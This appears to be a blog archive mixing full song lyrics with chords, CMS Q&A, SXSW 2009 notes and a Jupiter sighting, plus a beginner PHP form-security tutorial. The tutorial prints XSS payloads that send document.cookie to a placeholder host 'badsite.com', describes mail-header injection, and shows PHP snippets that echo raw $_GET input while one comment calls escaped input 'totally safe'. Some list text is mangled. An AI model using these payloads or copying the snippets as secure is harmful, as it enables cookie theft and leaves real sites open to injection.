All of me – Frank Sinatra
In the key of G
G All of me, why not take B7 all of me
E7 Can't you see, I'm no good Am7 Without you
B7 Take these lips, I want to Em lose them
A Take these arms, I 'll never D use them D7
G Your goodbye left me with B7 eyes that cry
E7 How could I go on Am7 without you
C You took the Cm7 part that G7 once was my Em7 heart
Am7 So why not, D why not G take all of me? D7
Version 2
In the key of A.
[youtube:http://www.youtube.com/watch?v=0YoUCvOG5Oo]
I Will Follow You Into The Dark – Death Cab for Cutie
Love of mine some day you will die
But I'll be close behind
I'll follow you into the dark
No blinding light or tunnels to gates of white
Just our hands clasped so tight
Waiting for the hint of a spark
If Heaven and Hell decide
That they both are satisfied
Illuminate the NOs on their vacancy signs
If there's no one beside you
When your soul embarks
Then I'll follow you into the dark
In Catholic school as vicious as Roman rule
I got my knuckles bruised by a lady in black
And I held my tongue as she told me
"Son fear is the heart of love"
So I never went back
If Heaven and Hell decide
That they both are satisfied
Illuminate the NOs on their vacancy signs
If there's no one beside you
When your soul embarks
Then I'll follow you into the dark
You and me have seen everything to see
From Bangkok to Calgary
And the soles of your shoes are all worn down
The time for sleep is now
It's nothing to cry about
'cause we'll hold each other soon
In the blackest of rooms
If Heaven and Hell decide
That they both are satisfied
Illuminate the No's on their vacancy signs
If there's no one beside you
When your soul embarks
Then I'll follow you into the dark
Then I'll follow you into the dark
[youtube:http://www.youtube.com/watch?v=P8SzxZJ4Rls&feature=related]
The Fox In The Snow – Belle and Sebastian
Fox in the snow
Where do you go
To find something you can eat?
Cause the word out on the street
Is you are starving
Don't let yourself grow hungry now
Don't let yourself grow cold
Fox in the snow
Girl in the snow
Where will you go
To find someone that will do?
To tell someone all the truth
Before it kills you
They listen to your crazy laugh
Before you hang a right
And disappear from sight
What do they know anyway?
You'll read it in a book
What do they know anyway?
You'll read it in a book tonight
Boy on the bike
What are you like
As you cycle round the town?
You're going up, you're going down
You're going nowhere
It's not as if they're paying you
It's not as if its fun
At least not anymore
When your legs are black and blue
It's time to take a break
When your legs are black and blue
It's time to take a holiday
Kid in the snow
Way to go
It only happens once a year
It only happens once a lifetime
Make the most of it
Second just to being born
Second to dying too
What else could you do?
What is a .mobi site?
A mobi site is supposed to be for mobile device use. But really it's just a new choice for domain names in addition to .com and all the others. So it's up to you on how you choose to the site to work, but it would be following convention to put a site designed for mobile phones at a .mobi domain name.
What is the difference, in layman’s terms, between Joomla and Drupal?
Big picture, Joomla and Drupal do the same thing. You can login to create and edit pages. They are both open source (free) and use the most common technologies (PHP and MySQL) available at hosting companies.
A close analogy might be automobiles, they both get you there but in different ways, styles, rides, etc. So which CMS you need depends on you and your project. Maybe you need something else? We'll find out. And, yes, you can have multiple systems. For example, a blog in WordPress or TypePad and an e-commerce site with Yahoo! or PayPal or eBay and then Joomla for a corporate site and even Drupal for an internal intranet. These sites could be integrated in some ways, esp through syndication (example: blog posts on blog site get automatically feed to corporate site or vice versa).
You have many flexible choices in picking the right system(s) (Joomla, etc) for the need(s).
Tip: find out which system meets your need best out of the box, and be prepared to accept the limitations as a trade-off and you'll save yourself a lot of money and time.
HTML, JavaScript and PHP form security
How about a refresher on PHP form security? Follow these simple steps to cover the basics. Then sleep better at night knowing you have improved the World Wide Web. (Seriously, get some good sleep, you need it.)
Know thy enemy
The whole security issue comes from two simple facts:
- First fact: Certain text characters and series of characters have special meaning in programming.
Example: A left angle bracket, in HTML context, starts a tag. But in JavaScript, it means less than. - Second fact: Web sites implement online forms that let users upload code to run on the server.
Example: In the comments form, users type text in various text fields. But is the user entering just plain text and allowed tags, or are they entering carefully crafted text containing HTML, JavaScript or some other language meant to run malicious code either on your server or in another user's browser (while visiting your site)?
Malicious client-side HTML and JavaScript
A left angle bracket, in HTML, starts an HTML tag. The series of characters <script> starts a script tag. If you allow a user to submit html tags in your form, you have just opened the door to attack. For example, here is a common type of attack where the attacker posts a malicious link as part of their message or comment to the target Web site. The following example uses HTML and JavaScript entered in the message body. Any cookies you set for that user (who clicks the link) can be read by the attacker. When a user clicks the link, the browser passes the user's cookie information, from the current Web site (yours), as a query string to their PHP file on the attacker's server:
<a href="http://badsite/attacker.php?cookie=<script>document.cookie;</script>">Click here to win</a>
Of course, if you do not filter out or sanitize the data in any way and allow JavaScript code to run, the attacker wouldn't even need the user to click a link. They would just enter a simple block of JavaScript within a <script> tag in their comment:
Hi, great site! <script>location="http://badsite.com/attacker.php?cookie="+document.cookie;</script>
Now we've seen a client-side attack using HTML, JavaScript and PHP. Let's look at a server side attack example, then we'll see how to combat both of them.
Malicious server-side PHP
By adding \r\n in a field that will be used to create an email header for the PHP mail() function, an attacker can write their own email and send it from your Website to whomever they want. Your site's online email form will be used to spam other people. Only these versions of PHP are affected, PHP 4 <= 4.4.6 and PHP 5 <= 5.2.
The local-part of the e-mail address may use any of these ASCII characters:
- Uppercase and lowercase English letters (a-z, A-Z)
- Digits
0through9 - Characters
! # $ % & ' * + - / = ? ^ _ ` { | } ~ - Character
.provided that it is not the first nor last character, nor may it appear two or more times consecutively.
-
// copy the value form $_GET to $id
-
$id = $_GET['id'];
-
echo "thanks for sending me $id, dude!";
-
-
// just use the $_GET val directly
-
echo 'it\'s even more awesome to grab '.$_GET['id'].' directly from input, right?';
-
// escaped, so not a potential SQL injection threat.
-
$id = mysql_real_escape_string($_GET['id']);
-
echo "Now I know that $id is totally safe to insert into my database";
-
-
// cast as int, so
-
$id = intval($_GET['id']);
-
echo "$id is most certainly an integer now";
Ninja Webmaster Techniques
- Encode using htmlentities()
- Strip suspicious special characters like backslashes and curly braces
HTML and JavaScript InjectionPHP mail() Header Vulnerabilities
- Cross site scripting (XSS)
Example: Adding a script tag in a comment on your site to read your user's cookies. - Input injection
Example: Adding malicious PHP code in your form field then submitting to run on your server. - Mail header injection
Example: Adding \r\n in an email form field and then adding custom malicious email headers to send spam from your Website.
Disclaimer
I am not a security professional. I am a Web developer, like you. I presented common best practices. In addition, you should have a professional hosting service or server administrator who knows what they are doing, and you should communicate with them and follow their advice to make sure your Web site is as secure as possible.
Day 2: SXSW Interactive 2009
Day two, I coverd 5 sessions. That's right. I session jumped the last three all in one hour, 20 minutes each.
Even Faster Websites
Steve Souders wrote the book, "High Performance Web sites" published by O'Reilly in 2007. He is methodical and makes extensive use of yslow and a packet sniffer. Steve demonstrated the performance hit of including inline JavaScript after a link to an external CSS stylesheet. Bascially, the browser will wait for the CSS to finish downloading before proceeding to execute the JavaScript. Other insights included no not using HTML to write script elements. Instead, dynamically add the script element. Doing so avoids inline Javascript that blocks parallel downloading.
First Year as a Freelancer
This was a session I will have to write more on later, since I took so many notes. I'll just say that I was really inspired by this session and made some contacts for possible collaboration later.
Freelance to Agency
A panel discussion with some really smart people nice enough to share their wisdom: Kristina Halvorson (Brain Traffic), Jeffrey Zeldman (Happy Cog, A List Apart, Zeldman.com) , Roger Black and Whitney Hess. If you have't guessed, I'm a full-time freelancer now. So this was a welcome follow up to the previous session about freelancing as well.
Interface Lessons Learned from Games
It's really late and I am going to stop writing very soon. More on this and the rest later.
China girl – David Bowie
Oh oh oh ohoo little china girl
Oh oh oh ohoo little china girl
G
I could escape this feeling
D-
With my china girl
G
I feel a wreck without
D
My little china girl
X
I hear her heart beating
X
Loud as thunder
X
Saw the stars crashing
Im a mess without my, little china girl
Wake up mornings wheres my, little china girl
I hear hearts beating, loud as thunder
I saw the stars crashing down
I'm feeling tragic like I'm marlon brando
When I look at my china girl
I could pretend that nothing really meant too much
When I look at my china girl
I stumble into town just like a sacred cow
Visions of swastikas in my head
Plans for everyone
Its in the white of my eyes
My little china girl
You shouldnt mess with me
Ill ruin everything you are
You know, Ill give you television
Ill give you eyes of blue
Ill give you a man who wants to rule the world
And when I get excited
My little china girl says
Oh baby just you shut your mouth
She says ... shhh ...
She says ... shhh ...
And when I get excited
My little china girl says
Oh baby just you shut your mouth
And when I get excited
My little china girl says
Oh baby just you shut your mouth
She says ...
Oh oh oh ohoo little china girl
Oh oh oh ohoo little china girl
Oh oh oh ohoo little china girl
Oh oh oh ohoo little china girl
Oh oh oh ohoo little china girl
Sea of Love – Cat Power cover (Phil Phillips and George Khoury)
Come with me
My love
To the sea
The sea of love
I wanna tell you
How much
I love you
Do you remember
When we met
That's the day
I knew you were my pet
I wanna tell you
How much
I love you
Come with me
My love
To the sea
The sea of love
I wanna tell you
How much
I love you
I saw Jupiter and it’s moons this morning
Between 6:45 and 6:55 AM this morning, I observed Jupiter and it's four largest moons: Io, Europa, Ganymede and Callisto. Above but getting low On the South Eastern horizon, you could see Jupiter with the naked eye. With a telescope, I could make out four moons as well. I posted a drawing of my observation to flickr.


